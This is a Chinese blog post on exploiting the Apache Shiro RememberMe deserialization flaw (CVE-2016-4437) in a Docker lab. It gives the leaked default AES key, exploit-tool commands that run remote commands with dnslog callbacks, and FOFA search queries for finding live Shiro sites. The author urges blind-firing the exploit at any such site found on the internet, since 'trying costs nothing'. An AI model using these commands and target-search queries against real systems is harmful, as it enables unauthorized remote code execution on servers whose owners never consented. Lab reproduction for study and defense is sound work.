Apache Shiro RememberMe 反序列化

漏洞背景

CVE-2016-4437/shiro-550,shiro<1.2.4,前臺無回顯RCE。

  • 框架介紹:Apache Shiro是一款開源安全框架,提供身份驗證、授權(quán)、密碼學(xué)和會話管理。
  • 漏洞引入:服務(wù)端在接收cookie時,得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化(未限制)。shiro≤1.2.4版本默認使CookieRememberMeManager,由于AES使用的key泄露,導(dǎo)致反序化的cookie可控,從而引發(fā)反序化攻擊。

漏洞特征(使用了shiro的站)

  • 進行登錄,提交表單后看set-cookie是否存在remeberMe=deleteMe
  • fofa搜索:app="Apache-Shiro",header="rememberme=deleteMe"、header="shiroCookie"

發(fā)現(xiàn)使用shiro的就exp盲打吧。

本地復(fù)現(xiàn)

shiro/CVE-2016-4437

# docker-compose up -d #服務(wù)啟動后,訪問http://ip:8080可使用admin:vulhub進行登錄。
# 探測漏洞是否存在, `https://github.com/insightglacier/Shiro_exploit`
# python shiro_exploit.py -u http://192.168.2.130:8080
vulnerable:True url:http://192.168.2.130:8080   CipherKey:kPH+bIxk5D2deZiIxcaaaA==
# 還可以繼續(xù)探測gadget, 然而還是不知道用來干啥,還是一鍵腳本打吧……
# python shiro_exploit.py -u http://192.168.2.130:8080/doLogin -t 3 -p "ping -c 2 rl5a3l.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="
found gadget:
['JRMPClient']
# exp1,https://github.com/sv3nbeast/ShiroScan
python3 shiro_rce.py http://192.168.2.130:8080 "ping ovm5ah.dnslog.cn"
# exp2,大佬發(fā)的shiro_exp.zip,咱也不知道誰寫的……改改參數(shù)反正能用
python exp.py   

總結(jié)

  1. 一個很蠢又犯了好幾次的毛病,docker起的環(huán)境如果用touch來試命令執(zhí)行,檢查的時候記得看docker而不是看本機。。。。
  2. 有空的話可以保持跟蹤github上的cipherkey……或者及時pull大佬的項目()。
  3. 現(xiàn)網(wǎng)居然還有這個漏洞,看到rememberme試試反正不吃虧……

參考

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容